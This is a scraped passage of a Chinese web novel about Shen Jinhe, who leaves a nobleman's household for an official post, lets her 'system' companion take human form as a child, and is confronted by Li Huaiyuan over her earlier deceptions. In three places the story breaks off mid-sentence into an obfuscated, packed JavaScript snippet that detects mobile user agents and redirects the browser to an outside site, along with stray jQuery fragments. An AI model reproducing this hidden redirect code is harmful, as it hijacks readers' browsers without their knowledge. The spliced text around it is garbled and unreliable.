本来就正烦乱着,蓦一听见“两家人”,李怀远只觉得乌云盖顶,顿时黑了脸。陵光见此,也只得悻悻然地闭了嘴,劝人这种事儿,还得沈今禾来。 可如今世子生的正是沈今禾的气,这可该如何是好。 正想着,门口突然传来“叩叩叩”地敲门声。 今日大雪,书房拢着炭火,门窗关的严严实实,此时并看不见外面来的是谁,只瞧着是个娇小的身影,陵光正要开口问话,就见书案后执笔之人脊背一直,皱着眉头说了句: “不见。” 陵光这才意识到,恐怕是沈今禾前来道别了。 门外之人驻足了片刻,扒着门缝温声喊了句:“世子。” 李怀远回想起她无数次来书房当值的模样,有时见他在案前作书,便小心翼翼地扒着门,把头探进来叫一声“世子”,得他首肯之后,才会迈着轻盈的步子进来。 如此这般,以后再也不会有了。 其实他也不是非要困住沈今禾不可,她如今得偿所愿,他自然替她高兴,只是这个没良心的东西,口口声声说着爱慕于他,抽身却抽得比谁都快,仿佛自己于她来说只是个随手可弃之物。 说什么如渊之清,如玉之洁,不过是个会哄人的骗子罢了。 他既气她明明有入朝为官的志向,却拿自己当外人,处处防着他,关于此事半口都不曾提起过,只要她说明了,难道他还能不帮衬她吗? 又气她说自己的身份配不上他,会招致流言蜚语,偏他还不能反驳什么。 正想着,只听外面传来一阵窸窸窣窣地响动,李怀远只当她又走了,下意识地匆忙起身往门口去看。 陵光虽说劝人劝不到点子上,行动上却是一等一的快,忙不迭在窗上戳了个洞,从李怀远的方向看过去,正巧能看见门外那一抹纤细的的身影,正跪地作揖。 她伏在地上的指关节有些通红,方才稍稍拂去台阶上的一层雪,瞬间又铺了上来,如被似盖地刮了她满身,李怀远心底猛地一抽,转过身子不忍再看。 就在他抬脚重新往桌案处走时,忽听飞雪顿足,外面的人一字一句说道: “遥祝世子,岁岁年年,故人相与,佳人相倾,春朝秋夕,共占清风。” 她没有祝他九万鹏程,扶摇直上,只愿他在刀尖上行走之时,累了倦了还能得良人相伴。 李怀远定在原处,心里有种说不出的滋味,仿若近日熬给沈今禾的那些汤药全一股脑落入了自己口中,苦味在腹中翻腾叫嚣,直往上涌,他弯下腰,想把它们全部吐出来,却发现那些苦涩早已沿着血液蔓延至全身。 他不知该哭还是该笑,沈今禾祝他有佳人相倾,既是祝愿,就证明此刻他未能拥有,而未来能不能有,好像也全都与沈今禾无关了。 她就像那些觥筹交错间提盏说祝酒词的同僚,热情与关切之下藏着万分的冷静和疏离。 沈今禾自然不知道李怀远又七想八想的,硬是把自个儿往难受了想,相识一场,她自认为说的都是真心话,李怀远真的是个很好相与的人,她愿他岁岁无虞,不是骗人的话。 虽然李怀远这几日都气得不想见她,但该说的还是要说。 见屋里没传出什么话,沈今禾站起了身子,拍落身上的积雪,又道:“今禾三生有幸,幸得识君一场,世子保重,以后若有用得上我的地方,我定当竭力相助。” 门下塞进一张字条,是沈今禾未说完的话。 李怀远将手放在门栓上,却迟迟未动,想到她说的那句忧思成疾,他不知道就算开了门又待如何? …… 翌日碰巧是个乔迁的黄道吉日,既然陛下催促,沈今禾自是不敢怠慢,从卯时一直脚不沾地地忙活到夜深人静,多亏了荷华来帮衬,总算才把各处都归置停当了。 她喜静,谢绝了陛下赏赐众仆的好意,算上系统,一共只留下五个。 “喂喂喂,什么叫算上我?”系统大声表示不满。 “当年因你一脚,我才来到这个世界。如今你留下当个仆役,也算是因果报应吧。”沈今禾点了灯,边拿着扫帚够房梁上的蜘蛛网,边跟它打趣。 陛下赐的府邸不算大,几个人忙忙碌碌了一整天,倒是也能凑活着住了,至于其余的用品,再慢慢依次采买就是。 沈今禾满意地环顾了一圈,视线最终落到了系统头上。 只见它愤愤道:“哇你这个女人好残忍,我一个系统没手没脚的,能做什么啊?” 放下手里的扫帚,沈今禾双手抱在胸前,也不言语,只盯着它笑,直到笑得它心里有些发毛。 才耷拉个脑袋,支支吾吾道:“你都知道了?” 其实在沈今禾做了留下的决定后不久,系统就向穿书组织提交了一份申请。那是一份关于留在这个世界的申请,以人的模样。 有一日沈今禾在屏幕上倒腾韩先生讲过的课,无意间乱触了什么按钮,这才知道了此事。 这事儿最开始穿书组织是不同意的,虽说技术层面上没什么问题,但这简直太史无前例了,因此系统申请了三次都被无情驳回。 后来沈今禾趁它睡着的时候,私自给穿书组织发送了一条消息,直言当初许诺给她三件事,现在她便用一件事换取他们同意系统的申请。 经组织层层审批,最后还是同意给它建模了。 系统不知道沈今禾从中斡旋这事儿,只当是组织被自己的软磨硬泡给弄烦了才同意的,那几日它嘴角压都压不下去,满脑子都是:“哈哈哈哈哈,老子要做人喽!” 它天天没事儿就背着沈今禾捂着屏幕捣鼓,沈今禾也就装作全然不知的样子,任由它给自己又是捏脸又是起名的。 原本一日之中有一半时间都在深眠,另外的一两个时辰还要小憩,现在觉也不睡了,跟着沈今禾统一了作息,整日顶着两个大黑眼圈捣鼓来捣鼓去。 “你这么喜欢哭唧唧,应该是个女孩子吧?”一日,沈今禾问道。 “啊?性别我选的男啊!” “为什么?”沈今禾略微有些吃惊,又思绪一转,忙问道:“你已经提交了?” “还没。” “哦,那就把性别改成女。” “凭什么,你性别歧视啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397737|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”系统闻言捂住屏幕,跳出几尺之外。 “没有啊,我只是觉得一个大男人整天流泪的话,场面会十分诡异。” “还说不是性别歧视!” 沈今禾摊摊手,一副“你随便”的样子,道:“那你把脸捏帅点,往后做个茶楼之类的营生,生意总归不会太差。” 系统十分为难道:“八岁的孩童要怎么帅?” “什么?!” “组织判定我的阅历只有八岁……”它简直无语死了,明明自己比那个叫叶绥的阅历丰富多了,少说也该有十五岁吧。 “哈哈哈哈哈。”庭院里发出一连串的爆笑。 还好此处无人,否则别人一定觉得沈今禾疯了,一个人对着空气捂着肚子哈哈大笑。 系统:“……” “既然你只有八岁,说明完全没有自力更生的能力,肯定还得靠我养活,那你的性别应该我说了算。”沈今禾叉腰:“我要女的。” 系统道:“我要男的!我以后要当将军,才不开什么茶楼。” “我是你的监护人,我说了算。” “这是我的脸,我说了算!” 要说之前沈今禾阻止它化成男人,那是因为毕竟男女有别,行起事来多有不便。现在既然知道它被判定成小孩模样,其实它是男是女都无所谓了,左右她都得养活。 只是系统太不经逗,一戳就像炸毛的小兽,龇牙咧嘴的样子十分惹人爱,让人忍不住想再逗一逗。 沈今禾故意摁住屏幕,快速将基本信息页的性别修改为女后,手指虚虚放在半空中作势要提交。 系统以为她来真的,当真是急了,原本是要躲开,却不知怎么地闪了一下,整个屏幕就直直地朝着沈今禾的手指撞了上去。 好在系统本身就是和屏幕一体的,眼看那个提交的按钮即将被触发,它连忙更改内部程序修正了性别,几乎和沈今禾的手指同一时间进行了操作。 操作的结果就是——程序紊乱,这个人模将会以一天男版,一天女版的形式出现。 系统简直要疯了,沈今禾也要疯了! 原本府里多出来一个孩子就够难解释的,现在还来俩,其实两个也还好,可以谎说是双生儿,但现在算怎么一回事,这两个人又不能同时出现,总不能说她家孩子喜好女装吧…… 干嘛非得手欠,沈今禾此刻咬着指甲盖万分懊恼,明明自己在这里谨慎又小心地过了十八年,怎么体内的好动因子还没有被消灭。 系统缓了一会儿,反过来安慰她:“哎,没事呀,你不要自责了,我先提交个工单,然后让总系统在后台调整过来就好了。” “不是自责,我只是在想,以我的能力,以后能把孩子平安养大吗?” 系统正要继续劝说,又一想,她口中的那个“孩子”不就是自己吗,于是也默默地低下头,陷入了沉思之中。 想着想着,沈今禾突然灵光一现:“哦!我知道了,你把人脸捏得中性一点,这样的话两种性别就看不太出来区别了。” “啊,不要吧。”系统不高兴地咕哝:“我以后是要成为将军的人,自然要捏个有阳刚之气的脸庞。” “行吧。”沈今禾点点头,没想打击孩子的积极性。 “那你还得另捏一个女娃娃的脸吧?”不然一个女孩子顶着张男人脸也太奇怪了吧。 “女娃娃……要不你来捏?”系统道。 等的就是这句话! 沈今禾乐滋滋地搬出来个摇椅,哼着小曲儿,边晒太阳边闭着眼想象,捏个什么样的好呢? 此刻,“碰巧”从别人家墙根路过的李怀远,看见个身量似男子的高大人影在院内洒扫,而那个惯没良心的女人坐在一旁笑眯眯地看着,登时十分不悦,一甩衣袖往反方向走去。 “还以为她官场不顺,我看她倒是会享受得很!” 陵光摸摸后脑勺,看了眼马车后堆积成山的贺礼:“那这乔迁礼……您是送还是不送了?” “回府!”不送了,免得扰了沈大人的雅性! 李怀远心里别扭地想着。 新人进翰林,被些个老顽固指使这是常有的事,但李怀远不愿沈今禾受这样的罪过,还特意令人私下里有意无意地在翰林那帮老匹夫面前放了话。 又想着光明正大来送个礼,以后再有人想与她为难,也得先掂量掂量“世子府”这名头好不好惹。 熟不知沈今禾比他想的开多了。 百样米养百样人,有些同僚生来和善,有些十分刁蛮,有些马屁拍得震天响,有些默默做事查无此人,自古以来职场大抵都是这么回事儿,她压根就没放在心上过。 31.第 31 章 临近年关,翰林院里也没什么要事,组织明年春闱还早,经筵讲学的也都给学子们放了假,参与廷议起草诏令的同僚也都闲着。 故而申时未过,典籍也好,侍书们也罢,全都早早下了业置办年货去了。 桑榆暮景时分,西厢偌大的典院就只剩下沈今禾和叶绥两个人了,当然,叶绥是来凑热闹的。 成堆的书海简直沁人心脾,沈今禾游刃有余地整理起来,遇到喜欢的,便低着头翻看一二。 叶绥喜欢来翰林院找沈今禾玩,因为他发现,每每他爹见他出府,眼神不悦地拦着他要去何处时,只要他答:“去找沈编修。” 那么他爹就会立马换上一副“孺子可教也”的表情,大手一挥:“去吧,好好跟沈编修学学,人家同你年龄相仿,学识却是十个你都抵不上的。” 叶大学士默默酸道:“怎么别人家的孩子都这么有才华……” 再一看自家的,算了,不看也罢。 此时,西边的余晖照在一排排书架上,沈今禾攀上七阶木梯,从叶绥手上接过一摞旧籍,正一本本地往架子上放。只听地上的人仰头道: “郑典籍自己老早就跑了,独留你一人帮他收拾这烂摊子,这不是明晃晃地欺负人嘛。” 沈今禾小心翼翼地挪了个方向,笑道:“实不相瞒,这差事还是我跟郑典籍求来的。” “为什么啊?” “好玩。” “……”叶绥用力甩了甩脑袋,仿佛要把里面的水全甩出去,才能分辨清楚究竟是沈今禾不正常,还是自己不正常。 边甩边在心里嘀咕,这些被上天眷顾过的才子大儒们,果真都与常人太不一样了。 帮忙整理了半个时辰,见天色有些晚了,叶绥揉了揉咕咕乱叫的肚子,起身道:“那我先回府去了,你别忙太晚了哦。” 想了想又说:“明日待我抓住郑典籍,同你一起整理这些旧书。” 想起前日郑典籍被叶绥拉住讲风月之事的那个表情,沈今禾笑得直点头,正下了木梯叫他慢些走,却见他跨过门槛时,腰间的锦色荷包被隔扇门抹头上的倒刺刮了一下。 掉在了地上。 沈今禾也没多想,随即就高喊道:“叶绥,你的荷包掉了!” “叶绥”这两个字是在沈今禾被赐官之后,翰林大学士叶之韫坚持让她叫的,直说将那个小子看作晚辈即可,骂也骂得,罚也罚得。 叶绥脚步陡然一顿,接着猛地回过身来,当初那句—— 公子,你的荷包掉了! 他终于想起来是谁了。 叶绥惊喜中带着一丝困惑:“你……今禾,是你!皇家寺院捡我荷包的那个人是你?!怎么可能呢?” 芳菲未尽,山寺桃花开满园的那个人间四月,沈今禾搭讪叶绥时,是与今日一模一样的语气。 也难为叶绥隔了这么久,竟然还能想起来。沈今禾敲敲脑门,不知该作何解释,总不能告诉他我当时是打算是勾引你一番,再利用你爹的关系进翰林吧。 叶绥捡起荷包左思右想,猜测了很多种可能性,却独独没想过沈今禾当时是要□□他,如果他知道真相,指定比现在嘴巴张得更大,眼睛瞪得更圆。 “诶,你当时……约我夜里去后院,是不是有什么任务在身啊?”叶绥选了个可能性比较大的猜想。 “的确如此,对不起叶绥,但我绝无害你之心。”沈今禾思忖片刻,觉得这一句也不算假话。 “那就好,那就好。”叶绥抚着胸口呼了一口气,缓了缓道:“吓死我了,我还以为你是看上我了,故意来搭讪的!” “你放心,绝对没有!” “好,那我就放心了,今禾,你要知道,我是绝对不会喜欢比自己年纪大的女孩子的。” “……” 沈今禾见他说完了话转身又要走,急忙唤住他,面露难色地开口:“礼佛日的事……你能不能替我保密,切莫告诉旁人,尤其是世子。” 一听见“世子”二字,叶绥便忙不迭点了点头。 之前世子府的荷华好心提醒过他,让他暂且不要在世子面前提起沈今禾,想来他们二人之间是有些旁人插不进去的弯弯绕在里面,他看不懂,也无意冒犯,便连连道: “你放心吧,我保证不告诉他。” 话音刚落,就听院里的大门“啪嗒”一声被大力推开,两人闻声望去,见门口站着个人。 那人身着黑底凌华锦袍,面容俊朗,眸底却如寒星一般,阴沉沉道:“不告诉我什么?” “……” 叶绥腿一哆嗦,只觉得李怀远天生就是来克他的,怎么自己干个什么事都能被他抓住。 眼皮猛跳了几下,沈今禾更是心惊,完全反应不上来他怎么会出现在这里。她拢在袖子里的指尖微微蜷缩起来,不可察觉地往后踉跄了两步。 黑衣步步向前,尽管身上落了橘黄柔和的余晖,却丝毫没能将李怀远身上的凛冽寒气逼退,他的眼里没有一丝光,越过叶绥,看向屋内的沈今禾,没什么表情地重复道: “不告诉我什么?” 叶绥靠在隔扇上不敢出声,如果说寻芳阁一事,怒火中烧的李怀远只是令他感到可怕,那眼前这个明明冷静自持、却又感觉他快被捏碎了的人,他真的不知道该如何应付。 熟悉的雪松香不似往日般清冽,倒像是冬日如刀绞的寒风,一刀一刀抵在沈今禾身体各个要害处。 她往后退一步,李怀远就前进一步,直到她靠在书架上退无可退。 这时,李怀远从袖中拿出一枚箭簇放在掌心,日暮低垂,纵然屋内光线有些暗淡,可对面之人眼中那一刹那的惊愕还是被他敏锐抓住。 李怀远只觉得心脏没由来地骤然一缩,发出的声音却让人听不出任何情绪。 “这枚箭簇,是你当初杀安乐时用的,对吗?” “!” 脸色“哗”地一白,沈今禾负手抵在架子的棱骨上,整个身体都压在手背上,压得手背生疼,慌乱中她好像想抓住什么,却发现似乎没什么东西可以给她抓的。 以李怀远的机敏,能问出这句话,就足以证明他已经什么都知道了,此时回不回话仿佛也没多大意义。 她知道这一天迟早要来,却不知道会来的这么早。 “你用箭的手法很稳,直击心脏,一招毙命,那种力度和准头,没有三五年是练不出来的,所以我想问问你——” 李怀远声线逐渐有些不稳,说着说着竟然有些难忍地颤抖:“当初你替我挡的那一箭,真的是你关心则乱,没有看出来那支箭根本就伤不了我吗!” “还是说……”他死死地盯住沈今禾,从喉咙里挤出来一句:“你只是为了摆脱奴籍,故意为之……” 他一手撑在沈今禾身后的檀木架上,一手攥着被擦得发亮的箭簇,紧紧地盯着她的唇角,直至这一刻,他依然选择信她,只要她肯开口解释,哪怕再荒唐,他也不会再往下追究。 可偏偏对面之人紧紧抿着嘴巴,垂头不语,李怀远心底更是被冰天雪地的冷水浇了个透,继续道: “最一开始,礼佛日…皇家寺院的那次初遇,你原本真的是要去后院找叶绥的对吧?” 他明明知道这些往事不堪回首,说出来都是自取其辱,可他控制不住,非要一件一件剖开了,挑明了,赤、luo luo地晾出来。 “谁成想当时我横插一脚,你没有办法,才出此下策说、说……”李怀远只觉得心都在滴血,他咬了咬牙,实在说不出口“爱慕于我”几个大字。 骗子……这个骗子,从他们初次相遇之时就开始骗他,上京城里只怕再没有比她更厉害的骗子了…… 沈今禾愣愣地看向眼前之人,他的眸底一片腥红,倘若不是用尽毕生所学极力克制,怕是早就手起刀落,忍不住把她杀了。 诚然,她从来没有害过李怀远分毫,反倒是还帮了他不少忙,这如果放在旁人身上,也许还有冰释前嫌的余地。 可现在李怀远明显是对她动了情的。试想一下,堂堂世子一朝得知与自己两情相悦之人,竟从头到尾都在为了自己的私利而骗自己,以命搭救是临时起意的阴谋,那句旖旎的“望世子安”也不过是一个可笑的泡影,自始至终,陷进去的也只有自己而已…… 任谁都没有办法不恨吧。 沈今禾睫毛颤了颤,知道自己这次玩大发了。 “一切都是为了摆脱奴籍,入朝为官……所以挡箭是假的,拂雪煮茶是假的,口口声声说爱慕也是假的。沈今禾,你说过的话,做过的事,究竟哪一件才是真的?” 李怀远双手紧紧箍住沈今禾的肩膀,捏得她骨头生疼,眉头紧蹙,“嘶”了一声。 可他丝毫没有松手,他也不知道该怎么办了,只知道自己的心脏已经缩到了极致,再不找到宣泄口,就要停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是他又收回脚连忙跑了出去,只是也没走远,一直在翰林院大门外的枣树下蹲着。不知过了多久,直到李怀远走了,他这才又屁颠屁颠地跑回来了。 “我陪你一起回去吧。”叶绥看着身旁风一吹仿若就要栽倒在地的人,有些放心不下。 沈今禾点点头:“也好。” 街上的灯市如昼,灿若星河,孩童们举着手又跳又闹地嚷着要买花灯,大人们三三两两挎着篮子挑年货。 沈今禾这才意识到,今日已经是小年了。 明灯千盏,照映着熙熙攘攘的人群。叶绥瞄了几眼沈今禾,几度欲言又止。 沈今禾裹紧绵袍,长长地吐了一口气,气息在冰冷的冬日里转瞬就成了一团白雾。她转头笑了笑,反过来安慰受惊的叶绥:“你不必小心翼翼,其实世子这个人,也没什么可怕的。” 他那么矜贵的一个人,被自己欺骗,不是也连一句重话都说不出口吗? “小叔除了脾气不好,其他都好。”叶绥想了想,点头道:“每逢佳节,城外开灶施粥,世子府都首当其冲。” “嗯,我喝过,又稠又香。”沈今禾望着前路,心里泛着苦,面上却笑盈盈的。 叶绥只当她是秋节时一起去城门口帮过忙,熟不知是她刚来上京那会儿,在那个皇商家里总吃不饱饭,就趁着过节没人注意,偷偷溜出去喝凌安王府施的粥。那都是十几年前的事了,当时还没有世子府一说,王府里是李怀远的祖父坐镇。 李怀远从小受老凌安王的教诲,不负厚望,亦成为了枕善而居,择善而行的人。 当初她那句积仁洁行,也不全是骗人的。 两人穿梭在流光辉映的街灯下,忽而一盏金玉良缘花灯尽入沈今禾眼底,她想起那时李怀远给她说,要让凌安王去向陛下求个“金玉良缘”的牌匾。 其实他也不是虚荣得非要一场御赐的婚姻,沈今禾明白,他只是不想她婚后赴宴时,会被别的京中贵眷们瞧不起。妇人们混作一处,七嘴八舌,恶语伤人,总有李怀远鞭长莫及的时候。 所以在叶绥解释他小叔人不坏的时候,沈今禾回道: “我一直都知道,世子是个很好的人啊。” 世子是个很好的人啊。 这一声洋洋盈耳,盖过了十里梅香。 32.第 32 章 岁除前几日,府邸已基本修缮完毕,沈今禾给工匠们结工钱的时候,见荷华着一身琥珀色男装,背着个包袱,捧了个算盘,如过无人之境似的进了大门。 “你这是……” 摇了两下算盘珠子,荷华笑道:“来给你当账房先生。” 荷华这个人,即使是行了什么不正派之举,也让人觉得颇有几分君子之姿,如圭如璋,端庄得很。 沈今禾不由感叹:“真是俊啊,你若生为男儿,只怕整个上京城待字闺中的姑娘,都得捏着红豆日日念上一句‘平生不会相思,才会相思,便害相思’。” “你这张嘴……”荷华笑笑摇头。 “所以你到底是来干什么的?” “真是来当账房先生的,不过顺便把你那本字帖再借我摹一摹吧。” “你还真是不客气。”沈今禾嘴上揶揄,心里却明白,新府建成杂事诸多,她一定是想来帮忙,又端着不肯明说,故意让人觉得她是为了临摹字帖而来。 “你从世子府来我这儿,实在是屈才了。” 荷华正接过她手里的花草侍弄着,闻言抬头: “那要看你怎么定义‘才’,世人觉得权力地位、功成名就便是才,我偏觉得,一个人倘若能按照自己的心意过好这一生,这才是‘才’。” “此前你问我为何不科考,那时我说的不是玩笑话。”荷华边给一盆山茶花松土,边漫不经心道: “我这个人啊,小时候在山下野惯了,后来虽被王妃带在身边悉心教导,但还是改不了闲云野鹤的本性。外面人瞧着我性子稳妥,做事有条不紊,但其实我内心里,最是厌烦官场束手束脚、虚与委蛇那一套。” 所以在她看来,看想看的书,见想见的人,天晴晒太阳,天阴作诗章,无拘无束地活着比什么都重要。 “呼哧呼哧”搬着一大盆松树盆景放置在廊下柱边,沈今禾心道,她和荷花还真是奇了。 一个是看着墨守成规,骨子里却有那么一丁点离经叛道。另一个则是看似无欲无求,其实削尖了脑袋想挤进那循规蹈矩的朝堂。其实她们两个都想获得自由,只不过境遇不同,想要的自由便不同了。 总之甭管是什么,若真能如荷华所说,能按照自己的心意过好这一生,就已经是件了不起的事情了。 荷华将那盆只余枝杈的山茶花抬过头顶,仰起头看着:“但愿明年开春能结出花来。” “哈哈哈,什么花呀?让本公子也来瞧瞧。” 闻声从光影里走进来一个碧霞锦衣的公子,摇着那柄熟悉的玉骨扇,大摇大摆地穿过中堂,进了庭院。 这一个两个的,进进出出来去自由,是把自己家当成东市的胭脂水粉铺了吗?沈今禾幽怨道。 “叶小公子。”荷华微微欠身行了个礼。 “咦?”叶绥看见藤蔓下那张石桌放着的包袱和算盘,好奇道:“你来今禾这里,我小叔竟然同意了?” 荷华心道,可不就是世子命我来的。 还记得沈今禾搬离世子府那日,李怀远私下里把荷华叫到跟前,问她愿不愿意暂且去沈编修的府上帮忙打点,世子府也留着她的位置,日后想回来随时也能回。荷华面上不显,心里可真是乐开了花。 虽说世子向来也不讲什么规矩,但毕竟府邸几百口人,她既是掌事,那必得事事端着,一刻都不得松懈。 要是去了沈今禾那里,一下子不知道能少操多少心,便满口答应了下来。 可谁知昨日酉时世子从外面回来,又告知她不用去了,她很少见世子脸色有这般难看的时候,也不敢贸然询问原因,只说行装都准备妥当了,府里的一应事务也交给了别的女使。 李怀远定定立在庭院那棵海棠树下,不知心里在想什么,良久才说,想去便去吧。 “这是山茶花吧?”叶绥举起那盆光秃秃的盆景,顺着树干纹理摸了摸道:“瞧着还挺精神。” “叶小公子对花有研究?”荷华微微讶异,她还以为叶绥只喜欢漂亮姑娘。 “说不上研究啦,只是喜爱罢了。”叶绥哈哈笑道:“除了科考,什么都有趣,什么都好玩。” “巧了,她也是。”沈今禾指指一旁的荷华。 “真的吗?”叶绥如遇百年难得一见的知己般望着荷华,“真是同道中人啊。” “不敢与叶小公子……” “诶,别叫我叶小公子了,你和今禾一样叫我叶绥吧。” “这有些不妥。”荷华一本正经道。 “我看挺妥的。”沈今禾帮腔,叶绥在一旁拼命点头。 见沈今禾那不正经的一面又现了形,瞧那双轱辘轱辘乱瞟的杏眼,明摆着是要看热闹,荷华道:“对了,你为什么置办了这么多山茶花的盆景?” 不待沈今禾回答,又道:“我明白了……你们可否听过那首《山花子》?” “袅袅同心巧笑分…不肯嫣然回一顾,为思君。思君思君,不知沈编修是在思念哪位郎君?” “……” 沈今禾嘴角一抽,默默在心里告诫自己……平日里越是温和的人越是不能招惹。 叶绥朝荷华眨了眨眼,以手挡面,附在她耳边低声道:“你快别说了,我小叔和今禾昨日…” “吵!架!了!” 竟有此事?荷华低呼一声,难怪昨日世子脸上一半是青紫,一般是煞黑。 不过她也只当是沈今禾搬出府惹世子不快,正要说些什么缓解一下突然冷下来的气氛,就见叶绥瞪大了眼睛,看向廊下走来的一个小公子。 那孩子约莫七八岁的样子,五尺微童明明可爱得紧,言行举止却非要端出一副大人模样,只见他将洗好的果子往石桌一放,又朝沈今禾后背翻了个白眼,说了句:“请用。” 真让人忍俊不禁。 “这个小公子是谁家孩子呀?”叶绥神色复杂地看了沈今禾一眼,“怎么、怎么跟你长得还挺像的?” “介绍一下,我儿子,十七。” “真的!”叶绥顿时大惊,怎一个“慌”字了得! 世子府不是一直都传言沈今禾倾心于他小叔吗?他瞧着小叔对沈今禾也有那么几分意思,要不然也不会把她从掖庭赎回来……现在怎么又是吵架、又是孩子的? “放屁!”系统看向他们二人,一脸愤然。 荷华觉得这小公子瞪人的样子奶凶奶凶的,十分有趣,便替他朝叶绥道:“这孩子看着都有七八岁大了,今禾又不是怪物,难不成十岁就生了他?” 叶绥舒了一口气:“对哦。” 系统见此心气更不顺了,转头对着沈今禾小声嘀咕:“就他这智商,都能长到十六七岁,凭什么组织要判定我只有八岁啊!我要申诉!” 沈今禾拍拍他的脑袋宽慰道:“这里要是霸总文的世界,给你判个八十八岁都没问题,可惜这不是……再说你都是理论知识,又没有实操经验,一点生活常识都没有,变成个大人的话,容易被别人当成智障。” “……” 叶绥见那两人交头接耳,心中的疑虑更甚了:“那这孩子总不会是凭空冒出来的吧,前阵子还没见过呢。” “好吧,其实是我在街上遇见的小乞丐,瞧着和我有缘,就捡回来了。” 其余二人皆是一脸不信地看着她。 沈今禾摊摊手,只好拿出事先准备的说辞。 当年钱王谋逆,沈氏全族都受到了牵连,不过除了沈云期这一支,其余旁系都判的流放,先帝即位后,下令免了有功者的罪,允其恢复平民身份,因此沈士一族也不算全灭,起码留下来了一部分后人。 现在,系统就是这个后人。 “我族里有个堂兄,当年流放北疆时在军营做工,制了不少能弓巧弩,后来先帝下敕令免功者罪责,堂兄便回了筵县的老家娶妻生子了。谁料天不遂人愿,一年前老家遭了灾,堂兄堂嫂都没挺过去……独留下这个孩子。也不知道怎么误打误撞,这孩子跟着群叫花子就一路来了上京。” “前不久所幸被我撞见,这才带回府里了。” 沈今禾向来是演技派的,说得声情并茂,毫无逻辑漏洞,系统完全不担心别人会对自己的身份起疑,遂坐下来若无其事的吃了个果子。 边嚼边听叶绥道:“你怎么能确定,他就是你堂兄的孩子?万一是……” 叶绥见这小孩一副老神在在、十分不好惹的模样,“坏人”两个字竟没敢当着他的面说出来。 “别担心,他有信物的。” 沈今禾不知道从哪儿摸出来个玉坠子,“这个是沈氏一族的呃……护身符,族人无论贵贱,一律都将此玉坠挂在脖间,不得变卖。况且他爹娘的名字,也都与我那故去的堂兄堂嫂对得上。” 系统鼓着腮帮子“咔嚓咔嚓”地咬果子,闻言朝沈今禾投去了一个佩服的眼神。 吃完两个果子,又捏起一块马蹄酥放进嘴里,嚼着嚼着,心道一声不好!吃太快噎住了,又急忙端起茶水咕嘟咕嘟往下顺。 叶绥目不转睛地看着藤蔓架下正手忙脚乱的人,摸了摸下巴,点头道:“没错,看这行径,确实是做过乞丐的样子。” “噗——”系统一口茶吐了出来,怒目而视:“真没礼貌。” …… 还有三日就是岁除了。 系统没有见过上京城年节前车水马龙的盛景,非要央着沈今禾出门去看热闹,恰巧荷华要置办年货,几个人索性一起上街了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422692|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 街上有贩夫叫卖,游子归家,也有画师在苇棚卖福禄寿、岁朝图的年画,赤子们围成一圈打着太平鼓,嬉戏游玩。 “我真是太喜欢过年了。”系统蹦蹦跳跳,张开双手一副享受的模样。 “为什么?” “不知道,可能是热闹?”他看了一眼沈今禾,“喜欢就是喜欢嘛,喜欢哪有什么为什么。” 喜欢就是喜欢?沈今禾陷入了沉思。 她这十几年做所有事前都会列明理由,待条理清晰、论据充足了才会去做,所以她习惯了理性地思考问题,理性地做出判断。 就像近日对李怀远的愧疚情绪,她给出了十分合理的理由,所以认为这是符合人性、符合良知的正常情绪。而关于喜欢李怀远这件事,她辗转反侧,伯虑愁眠,却始终无法找到一个突破口来佐证她这种感情是对的。 为什么会喜欢李怀远?如果是因为他人好,那他们可以做朋友,如果是因为他三番五次帮自己,那她可以报恩,如果是因为愧疚,那她大可以背一捆柴火去请罪。 可全部都不是。 她喜欢李怀远的原因好像很复杂,就像那夜游护城河时缠满了水草的乱糟糟的头发,摘不净,也理不清。 所以当系统三番五次问她是否喜欢李怀远时,她都矢口否认了。那日李怀远在翰林院质问她时,她也没有承认哪怕半句动过情。 她说不上来为什么要去喜欢李怀远,更说不上来喜欢了之后该怎么办。 所以她极力地压制自己的情感,小心藏着不叫系统窥探半分,岂不知越是压制越是汹涌澎湃。 不过如今,她豁然开朗…… 就像系统喜欢过年节一样,不要探究为什么喜欢,也不去想未来如何是好,喜欢了便喜欢了,正视自己感情的流动,并平和地接纳它。它爱来便来,愿走就走,纵使茫茫人海再也不能相遇,也要平和地流动着,直至它消失殆尽。 只有如此,才能减轻些难眠的痛苦吧。 系统垫着脚,双手够在画棚的台面上看荷华挑拣应景的年画,全然不知这一会儿的功夫,蹲在人流外的沈今禾竟然因自己随口一句话,悟出这么多的道理。 “你想什么呢?”须臾,系统费力从人群中挤了出来,怀里抱着几幅画问。 “在琢磨,喜欢一个人的最高境界。” “你喜欢谁,李怀远啊?” “对啊。”沈今禾终于大大方方地承认了。 “果然如此!我早就看出来了!”系统一副“众人皆醉我独醒”的模样,挺起胸脯道:“好歹我也去过上百本霸总文里,你以为你们这些小女孩的心思我会看不透?哼,之前还不承认。” 沈今禾托着下巴,正要说话,不料系统忽然着急忙慌地用画挡住了她的脸。 “怎么了?” 